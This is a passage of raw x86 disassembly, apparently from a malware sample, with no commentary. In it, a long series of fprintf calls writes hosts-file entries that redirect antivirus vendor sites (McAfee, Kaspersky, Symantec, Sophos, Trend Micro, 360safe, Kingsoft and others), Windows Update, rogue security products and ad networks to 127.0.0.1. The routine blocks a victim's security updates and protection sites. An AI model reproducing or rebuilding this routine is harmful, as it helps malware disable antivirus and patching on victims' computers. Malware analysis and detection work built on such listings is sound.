		add	esp, 40h
		push	offset a127_0_0_1Us_mc ; "\n127.0.0.1\tus.mcafee.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Vil_n ; "\n127.0.0.1\tvil.nai.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Virus ; "\n127.0.0.1\tviruslist.ru"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Windo ; "\n127.0.0.1\twindowsupdate.microsoft.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_51 ; "\n127.0.0.1\twww.avp.ch"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_59 ; "\n127.0.0.1\twww.avp.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_50 ; "\n127.0.0.1\twww.avp.ru"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_49 ; "\n127.0.0.1\twww.awaps.net"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Ww_57 ; "\n127.0.0.1\twww.ca.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_48 ; "\n127.0.0.1\twww.fastclick.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_60 ; "\n127.0.0.1\twww.f-secure.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_k ; "\n127.0.0.1\twww.kaspersky.ru"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_62 ; "\n127.0.0.1\twww.mcafee.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_56 ; "\n127.0.0.1\twww.my-etrust.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_55 ; "\n127.0.0.1\twww.nai.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_58 ; "\n127.0.0.1\twww.networkassociates.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Ww_63 ; "\n127.0.0.1\twww.sophos.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_65 ; "\n127.0.0.1\twww.symantec.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_54 ; "\n127.0.0.1\twww.trendmicro.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_v ; "\n127.0.0.1\twww.viruslist.ru"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www3_ ; "\n127.0.0.1\twww3.ca.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_47 ; "\n127.0.0.1\twww.advancedcleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Advan ; "\n127.0.0.1\tadvancedcleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Sec_4 ; "\n127.0.0.1\tsecure.advancedcleaner.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Pro_2 ; "\n127.0.0.1\tprotect.advancedcleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Jsp_a ; "\n127.0.0.1\tjsp.advancedcleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Liveu ; "\n127.0.0.1\tliveupdatesnet.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_46 ; "\n127.0.0.1\twww.liveupdatesnet.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Thein ; "\n127.0.0.1\ttheinstalls.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_45 ; "\n127.0.0.1\twww.theinstalls.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Allof ; "\n127.0.0.1\tallofyouwant.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_h ; "\n127.0.0.1\twww.here4search.biz"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Here4 ; "\n127.0.0.1\there4search.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_44 ; "\n127.0.0.1\twww.smart-security.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Smart ; "\n127.0.0.1\tsmart-security.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_43 ; "\n127.0.0.1\twww.searchmeup.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Sea_1 ; "\n127.0.0.1\tsearchmeup.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_42 ; "\n127.0.0.1\twww.iwantsearch.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Iwant ; "\n127.0.0.1\tiwantsearch.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_41 ; "\n127.0.0.1\twww.wideportal.net"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Widep ; "\n127.0.0.1\twideportal.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Calc_ ; "\n127.0.0.1\tcalc.avsystemcare.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Avsys ; "\n127.0.0.1\tavsystemcare.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Conte ; "\n127.0.0.1\tcontent.onerateld.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_o ; "\n127.0.0.1\twww.onerateld.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Prote ; "\n127.0.0.1\tprotect.trustedantivirus.com"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_40 ; "\n127.0.0.1\twww.trustedantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Iwant ; "\n127.0.0.1\tiwantsearch.net"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Ww_42 ; "\n127.0.0.1\twww.iwantsearch.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Media ; "\n127.0.0.1\tmediacount.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_39 ; "\n127.0.0.1\twww.mediacount.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Bin_e ; "\n127.0.0.1\tbin.errorprotector.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_38 ; "\n127.0.0.1\twww.errorprotector.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Br_er ; "\n127.0.0.1\tbr.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_37 ; "\n127.0.0.1\twww.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Br__0 ; "\n127.0.0.1\tbr.winantivirus.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Ww_36 ; "\n127.0.0.1\twww.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Br_wi ; "\n127.0.0.1\tbr.winfixer.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_35 ; "\n127.0.0.1\twww.winfixer.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Cdn_d ; "\n127.0.0.1\tcdn.drivecleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_34 ; "\n127.0.0.1\twww.drivecleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Cdn_e ; "\n127.0.0.1\tcdn.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_37 ; "\n127.0.0.1\twww.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Cdn_w ; "\n127.0.0.1\tcdn.winsoftware.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Ww_33 ; "\n127.0.0.1\twww.winsoftware.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1De_er ; "\n127.0.0.1\tde.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_37 ; "\n127.0.0.1\twww.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1De_wi ; "\n127.0.0.1\tde.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_36 ; "\n127.0.0.1\twww.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dow_9 ; "\n127.0.0.1\tdownload.cdn.drivecleaner.co"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dow_8 ; "\n127.0.0.1\tdownload.cdn.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dow_7 ; "\n127.0.0.1\tdownload.cdn.winsoftware.com"...
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Dow_6 ; "\n127.0.0.1\tdownload.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dow_5 ; "\n127.0.0.1\tdownload.systemdoctor.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dow_4 ; "\n127.0.0.1\tdownload.winantispyware.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dow_3 ; "\n127.0.0.1\tdownload.windrivecleaner.com"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dow_2 ; "\n127.0.0.1\tdownload.winfixer.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Drive ; "\n127.0.0.1\tdrivecleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dynam ; "\n127.0.0.1\tdynamique.drivecleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Err_0 ; "\n127.0.0.1\terrorprotector.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Error ; "\n127.0.0.1\terrorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Es_wi ; "\n127.0.0.1\tes.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Fr__0 ; "\n127.0.0.1\tfr.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Fr_wi ; "\n127.0.0.1\tfr.winfixer.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Go_dr ; "\n127.0.0.1\tgo.drivecleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Go_er ; "\n127.0.0.1\tgo.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Go__0 ; "\n127.0.0.1\tgo.winantispyware.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Go_wi ; "\n127.0.0.1\tgo.winantivirus.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Hk_wi ; "\n127.0.0.1\thk.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ins_1 ; "\n127.0.0.1\tinstlog.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ins_0 ; "\n127.0.0.1\tinstlog.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Instl ; "\n127.0.0.1\tinstlog.winfixer.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Jsp_d ; "\n127.0.0.1\tjsp.drivecleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Kb_er ; "\n127.0.0.1\tkb.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Kb_wi ; "\n127.0.0.1\tkb.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Nl_er ; "\n127.0.0.1\tnl.errorsafe.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Se_er ; "\n127.0.0.1\tse.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Sec_3 ; "\n127.0.0.1\tsecure.drivecleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Sec_2 ; "\n127.0.0.1\tsecure.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Sec_1 ; "\n127.0.0.1\tsecure.winantispam.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Sec_0 ; "\n127.0.0.1\tsecure.winantispy.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Secur ; "\n127.0.0.1\tsecure.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Suppo ; "\n127.0.0.1\tsupport.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Trial ; "\n127.0.0.1\ttrial.updates.winsoftware.co"...
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Ulog_ ; "\n127.0.0.1\tulog.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Uti_1 ; "\n127.0.0.1\tutils.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Uti_0 ; "\n127.0.0.1\tutils.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Utils ; "\n127.0.0.1\tutils.winfixer.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Win_1 ; "\n127.0.0.1\twinantispyware.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Winan ; "\n127.0.0.1\twinantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Win_0 ; "\n127.0.0.1\twinfixer.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Winfi ; "\n127.0.0.1\twinfixer2006.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Winso ; "\n127.0.0.1\twinsoftware.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_34 ; "\n127.0.0.1\twww.drivecleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_38 ; "\n127.0.0.1\twww.errorprotector.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_37 ; "\n127.0.0.1\twww.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_32 ; "\n127.0.0.1\twww.systemdoctor.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_31 ; "\n127.0.0.1\twww.utils.winfixer.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_30 ; "\n127.0.0.1\twww.win-anti-virus-pro.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_29 ; "\n127.0.0.1\twww.win-virus-pro.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Ww_28 ; "\n127.0.0.1\twww.winantispam.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_27 ; "\n127.0.0.1\twww.winantispy.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_26 ; "\n127.0.0.1\twww.winantispyware.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_36 ; "\n127.0.0.1\twww.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_25 ; "\n127.0.0.1\twww.winantiviruspro.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_24 ; "\n127.0.0.1\twww.windrivecleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_23 ; "\n127.0.0.1\twww.windrivesafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_35 ; "\n127.0.0.1\twww.winfixer.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Ww_22 ; "\n127.0.0.1\twww.winfixer2006.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_33 ; "\n127.0.0.1\twww.winsoftware.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_21 ; "\n127.0.0.1\twww.usagc.org"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_20 ; "\n127.0.0.1\twww.prospywareremover.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Prosp ; "\n127.0.0.1\tprospywareremover.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_19 ; "\n127.0.0.1\twww.noadware.com--e.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Noadw ; "\n127.0.0.1\tnoadware.com--e.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_w ; "\n127.0.0.1\twww.wwwadawear.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Wwwad ; "\n127.0.0.1\twwwadawear.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_18 ; "\n127.0.0.1\twww.free-spyware-scan.org"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Fre_0 ; "\n127.0.0.1\tfree-spyware-scan.org"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_17 ; "\n127.0.0.1\twww.spybotfinder.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Spybo ; "\n127.0.0.1\tspybotfinder.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_16 ; "\n127.0.0.1\twww.the-spyware-zone.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1TheSp ; "\n127.0.0.1\tthe-spyware-zone.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_d ; "\n127.0.0.1\twww.digitalreservoir.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Digit ; "\n127.0.0.1\tdigitalreservoir.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_f ; "\n127.0.0.1\twww.free-spyware.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1FreeS ; "\n127.0.0.1\tfree-spyware.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_15 ; "\n127.0.0.1\twww.spyware-control.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Spy_2 ; "\n127.0.0.1\tspyware-control.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_14 ; "\n127.0.0.1\twww.computerspywarecheck.com"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Compu ; "\n127.0.0.1\tcomputerspywarecheck.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_c ; "\n127.0.0.1\twww.compare-spyware.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Compa ; "\n127.0.0.1\tcompare-spyware.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_13 ; "\n127.0.0.1\twww.spywareremoval.ws"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Spy_1 ; "\n127.0.0.1\tspywareremoval.ws"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_12 ; "\n127.0.0.1\twww.ridadware.org"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ridad ; "\n127.0.0.1\tridadware.org"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_e ; "\n127.0.0.1\twww.elimiware.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Elimi ; "\n127.0.0.1\telimiware.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_11 ; "\n127.0.0.1\twww.nomorespyware.net"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Nomor ; "\n127.0.0.1\tnomorespyware.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_10 ; "\n127.0.0.1\twww.123-spyware-remover.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1123Sp ; "\n127.0.0.1\t123-spyware-remover.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_9 ; "\n127.0.0.1\twww.spyware-adware-removal.n"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Spy_0 ; "\n127.0.0.1\tspyware-adware-removal.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_8 ; "\n127.0.0.1\twww.spytoaster.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Spyto ; "\n127.0.0.1\tspytoaster.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_7 ; "\n127.0.0.1\twww.spywareno.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Spywa ; "\n127.0.0.1\tspywareno.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_6 ; "\n127.0.0.1\twww.3bsoftware.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_13bsof ; "\n127.0.0.1\t3bsoftware.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_5 ; "\n127.0.0.1\twww.softwaredoctor.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Softw ; "\n127.0.0.1\tsoftwaredoctor.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dou_0 ; "\n127.0.0.1\tdoubleclick.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Doubl ; "\n127.0.0.1\tdoubleclick.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Adhos ; "\n127.0.0.1\tadhostcenter.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Adtra ; "\n127.0.0.1\tadtrade.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_a ; "\n127.0.0.1\twww.adcycle.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Adver ; "\n127.0.0.1\tadvertising.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Serve ; "\n127.0.0.1\tservedby.advertising.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Commi ; "\n127.0.0.1\tcommission-junction.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dayra ; "\n127.0.0.1\tdayrates.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1AdFlo ; "\n127.0.0.1\tad-flow.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ads_a ; "\n127.0.0.1\tads.ad-flow.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Popup ; "\n127.0.0.1\tpopuptraffic.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Fas_0 ; "\n127.0.0.1\tfastclick.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Fastc ; "\n127.0.0.1\tfastclick.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Adser ; "\n127.0.0.1\tadserving.cpxinteractive.com"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_u ; "\n127.0.0.1\twww.usafis.org"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Braza ; "\n127.0.0.1\tbrazauskas.info"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Centr ; "\n127.0.0.1\tcentralgate.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Click ; "\n127.0.0.1\tclickfast.biz"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Cod_0 ; "\n127.0.0.1\tcode.jcash.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Code_ ; "\n127.0.0.1\tcode.trasferimento.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Cyber ; "\n127.0.0.1\tcyber-search.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dow_1 ; "\n127.0.0.1\tdownload.accessmedia.tv"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dow_0 ; "\n127.0.0.1\tdownload.jupitersatellites.b"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Exelo ; "\n127.0.0.1\texeloads.info"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Forli ; "\n127.0.0.1\tforlink.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Game4 ; "\n127.0.0.1\tgame4all.biz"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1GetAc ; "\n127.0.0.1\tget-access.host.sk"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Musah ; "\n127.0.0.1\tmusah.info"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Picsh ; "\n127.0.0.1\tpicshunter.us"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Preve ; "\n127.0.0.1\tprevedtraf.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Sea_0 ; "\n127.0.0.1\tsearch-biz.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Searc ; "\n127.0.0.1\tsearchx.cc"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1SPics ; "\n127.0.0.1\ts-pics.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Snow4 ; "\n127.0.0.1\tsnow410.info"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Sp2ad ; "\n127.0.0.1\tsp2admin.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Tra_2 ; "\n127.0.0.1\ttraff5all.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Tra_1 ; "\n127.0.0.1\ttraffbest.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Tra_0 ; "\n127.0.0.1\ttraffbucks.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Traff ; "\n127.0.0.1\ttraffmoney.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ultra ; "\n127.0.0.1\tultra-search.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_l ; "\n127.0.0.1\twww.lattefresco.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_4 ; "\n127.0.0.1\twww.picshunter.us"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Www_p ; "\n127.0.0.1\twww.procounter.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_2 ; "\n127.0.0.1\twww.searchx.cc"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_1 ; "\n127.0.0.1\twww.s-pics.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_0 ; "\n127.0.0.1\twww.sp2admin.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_s ; "\n127.0.0.1\twww.spamcatchero.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_t ; "\n127.0.0.1\twww.traff4ppc.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_z ; "\n127.0.0.1\twww.zgallery.us"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ybbwx ; "\n127.0.0.1\tybbwxlxytz.biz"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Yepjn ; "\n127.0.0.1\tyepjnddqpq.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Yhvoo ; "\n127.0.0.1\tyhvoo.eseconsult.info"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Zchxs ; "\n127.0.0.1\tzchxsikpgz.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Zgall ; "\n127.0.0.1\tzgallery.us"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Mmsk_ ; "\n127.0.0.1\tmmsk.cn"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ikaka ; "\n127.0.0.1\tikaka.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Safe_ ; "\n127.0.0.1\tsafe.qq.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1360sa ; "\n127.0.0.1\t360safe.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Www_m ; "\n127.0.0.1\twww.mmsk.cn"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_i ; "\n127.0.0.1\twww.ikaka.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Tool_ ; "\n127.0.0.1\ttool.ikaka.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_3 ; "\n127.0.0.1\twww.360safe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Zs_ki ; "\n127.0.0.1\tzs.kingsoft.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Forum ; "\n127.0.0.1\tforum.ikaka.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Up_ri ; "\n127.0.0.1\tup.rising.com.cn"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Scan_ ; "\n127.0.0.1\tscan.kingsoft.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
